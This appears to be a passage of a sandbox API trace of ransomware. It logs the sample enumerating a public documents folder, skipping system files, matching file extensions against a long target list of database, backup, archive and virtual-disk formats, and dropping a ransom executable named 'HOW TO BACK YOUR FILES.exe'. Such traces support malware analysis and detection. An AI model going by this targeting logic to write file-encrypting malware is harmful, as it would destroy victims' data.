	[0036.066] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.066] lstrlenW (lpString="trc") returned 3
	[0036.066] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.066] lstrlenW (lpString="trm") returned 3
	[0036.066] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0036.066] lstrlenW (lpString="udb") returned 3
	[0036.066] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0036.066] lstrlenW (lpString="udl") returned 3
	[0036.066] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0036.066] lstrlenW (lpString="usr") returned 3
	[0036.066] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0036.066] lstrlenW (lpString="v12") returned 3
	[0036.066] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0036.066] lstrlenW (lpString="vis") returned 3
	[0036.066] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0036.066] lstrlenW (lpString="vpd") returned 3
	[0036.066] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0036.066] lstrlenW (lpString="vvv") returned 3
	[0036.066] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0036.066] lstrlenW (lpString="wdb") returned 3
	[0036.066] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0036.066] lstrlenW (lpString="wmdb") returned 4
	[0036.066] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0036.066] lstrlenW (lpString="wrk") returned 3
	[0036.066] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0036.066] lstrlenW (lpString="xdb") returned 3
	[0036.066] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0036.066] lstrlenW (lpString="xld") returned 3
	[0036.066] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0036.067] lstrlenW (lpString="xmlff") returned 5
	[0036.067] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0036.067] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc09910, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dc09910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0036.067] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0036.067] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc09910, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dc09910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0036.067] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0036.067] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0036.067] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Public\\Documents", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents"
	[0036.067] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca110 | out: hHeap=0x580000) returned 1
	[0036.067] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0036.067] lstrlenW (lpString="C:\\Users\\Public\\Documents") returned 25
	[0036.067] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents"
	[0036.067] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.067] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\documents\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.073] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.073] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dc2fa70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dc2fa70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0036.073] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.073] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.073] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0036.073] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dc2fa70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dc2fa70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.073] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.073] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0036.073] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.073] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0036.073] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0036.073] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.073] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0036.073] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0036.073] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0036.073] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0036.073] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0036.073] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0036.073] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0036.073] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0036.073] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0036.073] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0036.073] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0036.074] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0036.074] lstrlenW (lpString="desktop.ini") returned 11
	[0036.074] lstrlenW (lpString="C:\\Users\\Public\\Documents\\*") returned 27
	[0036.074] lstrcpyW (in: lpString1=0x2d3e584, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0036.074] lstrlenW (lpString="desktop.ini") returned 11
	[0036.074] lstrlenW (lpString="Apollon865") returned 10
	[0036.074] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0036.074] lstrlenW (lpString=".dll") returned 4
	[0036.074] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0036.074] lstrlenW (lpString=".lnk") returned 4
	[0036.074] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0036.074] lstrlenW (lpString=".ini") returned 4
	[0036.074] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0036.074] lstrlenW (lpString=".sys") returned 4
	[0036.074] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0036.074] lstrlenW (lpString="desktop.ini") returned 11
	[0036.074] lstrlenW (lpString="bak") returned 3
	[0036.074] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0036.074] lstrlenW (lpString="ba_") returned 3
	[0036.074] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0036.074] lstrlenW (lpString="dbb") returned 3
	[0036.074] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0036.074] lstrlenW (lpString="vmdk") returned 4
	[0036.074] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0036.074] lstrlenW (lpString="rar") returned 3
	[0036.074] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0036.074] lstrlenW (lpString="zip") returned 3
	[0036.074] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0036.074] lstrlenW (lpString="tgz") returned 3
	[0036.074] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0036.074] lstrlenW (lpString="vbox") returned 4
	[0036.074] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0036.074] lstrlenW (lpString="vdi") returned 3
	[0036.074] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0036.074] lstrlenW (lpString="vhd") returned 3
	[0036.074] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0036.074] lstrlenW (lpString="vhdx") returned 4
	[0036.075] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0036.075] lstrlenW (lpString="avhd") returned 4
	[0036.075] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0036.075] lstrlenW (lpString="db") returned 2
	[0036.075] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0036.075] lstrlenW (lpString="db2") returned 3
	[0036.075] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0036.075] lstrlenW (lpString="db3") returned 3
	[0036.075] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0036.075] lstrlenW (lpString="dbf") returned 3
	[0036.075] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0036.075] lstrlenW (lpString="mdf") returned 3
	[0036.075] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0036.075] lstrlenW (lpString="mdb") returned 3
	[0036.075] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0036.075] lstrlenW (lpString="sql") returned 3
	[0036.075] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0036.075] lstrlenW (lpString="sqlite") returned 6
	[0036.075] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0036.075] lstrlenW (lpString="sqlite3") returned 7
	[0036.075] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0036.075] lstrlenW (lpString="sqlitedb") returned 8
	[0036.075] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0036.075] lstrlenW (lpString="xml") returned 3
	[0036.075] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0036.075] lstrlenW (lpString="$er") returned 3
	[0036.075] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0036.075] lstrlenW (lpString="4dd") returned 3
	[0036.075] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0036.075] lstrlenW (lpString="4dl") returned 3
	[0036.075] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0036.075] lstrlenW (lpString="^^^") returned 3
	[0036.075] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0036.075] lstrlenW (lpString="abs") returned 3
	[0036.075] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0036.075] lstrlenW (lpString="abx") returned 3
	[0036.076] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0036.076] lstrlenW (lpString="accdb") returned 5
	[0036.076] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0036.076] lstrlenW (lpString="accdc") returned 5
	[0036.076] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0036.076] lstrlenW (lpString="accde") returned 5
	[0036.076] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0036.076] lstrlenW (lpString="accdr") returned 5
	[0036.076] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0036.076] lstrlenW (lpString="accdt") returned 5
	[0036.076] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0036.076] lstrlenW (lpString="accdw") returned 5
	[0036.076] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0036.076] lstrlenW (lpString="accft") returned 5
	[0036.076] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0036.076] lstrlenW (lpString="adb") returned 3
	[0036.076] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.076] lstrlenW (lpString="adb") returned 3
	[0036.076] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.076] lstrlenW (lpString="ade") returned 3
	[0036.076] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0036.076] lstrlenW (lpString="adf") returned 3
	[0036.076] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0036.076] lstrlenW (lpString="adn") returned 3
	[0036.076] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0036.076] lstrlenW (lpString="adp") returned 3
	[0036.076] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0036.076] lstrlenW (lpString="alf") returned 3
	[0036.076] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0036.076] lstrlenW (lpString="ask") returned 3
	[0036.076] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0036.076] lstrlenW (lpString="btr") returned 3
	[0036.076] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0036.076] lstrlenW (lpString="cat") returned 3
	[0036.076] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0036.076] lstrlenW (lpString="cdb") returned 3
	[0036.076] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0036.076] lstrlenW (lpString="ckp") returned 3
	[0036.077] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0036.077] lstrlenW (lpString="cma") returned 3
	[0036.077] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0036.077] lstrlenW (lpString="cpd") returned 3
	[0036.077] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0036.077] lstrlenW (lpString="dacpac") returned 6
	[0036.077] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0036.077] lstrlenW (lpString="dad") returned 3
	[0036.077] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0036.077] lstrlenW (lpString="dadiagrams") returned 10
	[0036.077] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0036.077] lstrlenW (lpString="daschema") returned 8
	[0036.077] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0036.077] lstrlenW (lpString="db-journal") returned 10
	[0036.077] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0036.077] lstrlenW (lpString="db-shm") returned 6
	[0036.077] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0036.077] lstrlenW (lpString="db-wal") returned 6
	[0036.077] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0036.077] lstrlenW (lpString="dbc") returned 3
	[0036.077] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0036.077] lstrlenW (lpString="dbs") returned 3
	[0036.077] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0036.077] lstrlenW (lpString="dbt") returned 3
	[0036.077] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0036.077] lstrlenW (lpString="dbv") returned 3
	[0036.077] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0036.077] lstrlenW (lpString="dbx") returned 3
	[0036.077] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0036.077] lstrlenW (lpString="dcb") returned 3
	[0036.077] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0036.077] lstrlenW (lpString="dct") returned 3
	[0036.077] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0036.077] lstrlenW (lpString="dcx") returned 3
	[0036.077] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0036.077] lstrlenW (lpString="ddl") returned 3
	[0036.077] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0036.077] lstrlenW (lpString="dlis") returned 4
	[0036.078] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0036.078] lstrlenW (lpString="dp1") returned 3
	[0036.078] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0036.078] lstrlenW (lpString="dqy") returned 3
	[0036.078] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0036.078] lstrlenW (lpString="dsk") returned 3
	[0036.078] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0036.078] lstrlenW (lpString="dsn") returned 3
	[0036.078] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0036.078] lstrlenW (lpString="dtsx") returned 4
	[0036.078] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0036.078] lstrlenW (lpString="dxl") returned 3
	[0036.078] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0036.078] lstrlenW (lpString="eco") returned 3
	[0036.078] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0036.078] lstrlenW (lpString="ecx") returned 3
	[0036.078] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0036.078] lstrlenW (lpString="edb") returned 3
	[0036.078] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0036.078] lstrlenW (lpString="epim") returned 4
	[0036.078] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0036.078] lstrlenW (lpString="fcd") returned 3
	[0036.078] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0036.078] lstrlenW (lpString="fdb") returned 3
	[0036.078] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0036.078] lstrlenW (lpString="fic") returned 3
	[0036.078] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0036.078] lstrlenW (lpString="flexolibrary") returned 12
	[0036.078] lstrlenW (lpString="fm5") returned 3
	[0036.078] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0036.078] lstrlenW (lpString="fmp") returned 3
	[0036.078] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0036.078] lstrlenW (lpString="fmp12") returned 5
	[0036.078] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0036.078] lstrlenW (lpString="fmpsl") returned 5
	[0036.078] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0036.078] lstrlenW (lpString="fol") returned 3
	[0036.079] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0036.079] lstrlenW (lpString="fp3") returned 3
	[0036.079] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0036.079] lstrlenW (lpString="fp4") returned 3
	[0036.079] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0036.079] lstrlenW (lpString="fp5") returned 3
	[0036.079] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0036.079] lstrlenW (lpString="fp7") returned 3
	[0036.079] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0036.079] lstrlenW (lpString="fpt") returned 3
	[0036.079] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0036.079] lstrlenW (lpString="frm") returned 3
	[0036.079] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0036.079] lstrlenW (lpString="gdb") returned 3
	[0036.079] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.079] lstrlenW (lpString="gdb") returned 3
	[0036.079] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.079] lstrlenW (lpString="grdb") returned 4
	[0036.079] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0036.079] lstrlenW (lpString="gwi") returned 3
	[0036.079] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0036.079] lstrlenW (lpString="hdb") returned 3
	[0036.079] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0036.079] lstrlenW (lpString="his") returned 3
	[0036.079] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0036.079] lstrlenW (lpString="ib") returned 2
	[0036.079] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0036.079] lstrlenW (lpString="idb") returned 3
	[0036.079] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0036.079] lstrlenW (lpString="ihx") returned 3
	[0036.079] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0036.079] lstrlenW (lpString="itdb") returned 4
	[0036.079] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0036.079] lstrlenW (lpString="itw") returned 3
	[0036.079] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0036.079] lstrlenW (lpString="jet") returned 3
	[0036.079] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0036.080] lstrlenW (lpString="jtx") returned 3
	[0036.080] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0036.080] lstrlenW (lpString="kdb") returned 3
	[0036.080] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0036.080] lstrlenW (lpString="kexi") returned 4
	[0036.080] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0036.080] lstrlenW (lpString="kexic") returned 5
	[0036.080] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0036.080] lstrlenW (lpString="kexis") returned 5
	[0036.080] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0036.080] lstrlenW (lpString="lgc") returned 3
	[0036.080] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0036.080] lstrlenW (lpString="lwx") returned 3
	[0036.080] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0036.080] lstrlenW (lpString="maf") returned 3
	[0036.080] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0036.080] lstrlenW (lpString="maq") returned 3
	[0036.080] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0036.080] lstrlenW (lpString="mar") returned 3
	[0036.080] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0036.080] lstrlenW (lpString="marshal") returned 7
	[0036.080] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0036.080] lstrlenW (lpString="mas") returned 3
	[0036.080] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0036.080] lstrlenW (lpString="mav") returned 3
	[0036.080] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0036.080] lstrlenW (lpString="maw") returned 3
	[0036.080] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0036.080] lstrlenW (lpString="mdbhtml") returned 7
	[0036.080] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0036.080] lstrlenW (lpString="mdn") returned 3
	[0036.080] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0036.080] lstrlenW (lpString="mdt") returned 3
	[0036.080] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0036.080] lstrlenW (lpString="mfd") returned 3
	[0036.080] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0036.080] lstrlenW (lpString="mpd") returned 3
	[0036.080] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0036.081] lstrlenW (lpString="mrg") returned 3
	[0036.081] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0036.081] lstrlenW (lpString="mud") returned 3
	[0036.081] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0036.081] lstrlenW (lpString="mwb") returned 3
	[0036.081] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0036.081] lstrlenW (lpString="myd") returned 3
	[0036.081] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0036.081] lstrlenW (lpString="ndf") returned 3
	[0036.081] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0036.081] lstrlenW (lpString="nnt") returned 3
	[0036.081] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0036.081] lstrlenW (lpString="nrmlib") returned 6
	[0036.081] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0036.081] lstrlenW (lpString="ns2") returned 3
	[0036.081] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0036.081] lstrlenW (lpString="ns3") returned 3
	[0036.081] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0036.081] lstrlenW (lpString="ns4") returned 3
	[0036.081] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0036.081] lstrlenW (lpString="nsf") returned 3
	[0036.081] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0036.081] lstrlenW (lpString="nv") returned 2
	[0036.081] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0036.081] lstrlenW (lpString="nv2") returned 3
	[0036.081] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0036.081] lstrlenW (lpString="nwdb") returned 4
	[0036.081] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0036.081] lstrlenW (lpString="nyf") returned 3
	[0036.081] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0036.081] lstrlenW (lpString="odb") returned 3
	[0036.081] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.081] lstrlenW (lpString="odb") returned 3
	[0036.081] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.081] lstrlenW (lpString="oqy") returned 3
	[0036.081] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0036.081] lstrlenW (lpString="ora") returned 3
	[0036.081] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0036.082] lstrlenW (lpString="orx") returned 3
	[0036.082] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0036.082] lstrlenW (lpString="owc") returned 3
	[0036.082] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0036.082] lstrlenW (lpString="p96") returned 3
	[0036.082] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0036.082] lstrlenW (lpString="p97") returned 3
	[0036.082] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0036.082] lstrlenW (lpString="pan") returned 3
	[0036.082] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0036.082] lstrlenW (lpString="pdb") returned 3
	[0036.082] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0036.082] lstrlenW (lpString="pdm") returned 3
	[0036.082] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0036.082] lstrlenW (lpString="pnz") returned 3
	[0036.082] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0036.082] lstrlenW (lpString="qry") returned 3
	[0036.082] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0036.082] lstrlenW (lpString="qvd") returned 3
	[0036.082] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0036.082] lstrlenW (lpString="rbf") returned 3
	[0036.082] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0036.082] lstrlenW (lpString="rctd") returned 4
	[0036.082] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0036.082] lstrlenW (lpString="rod") returned 3
	[0036.082] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
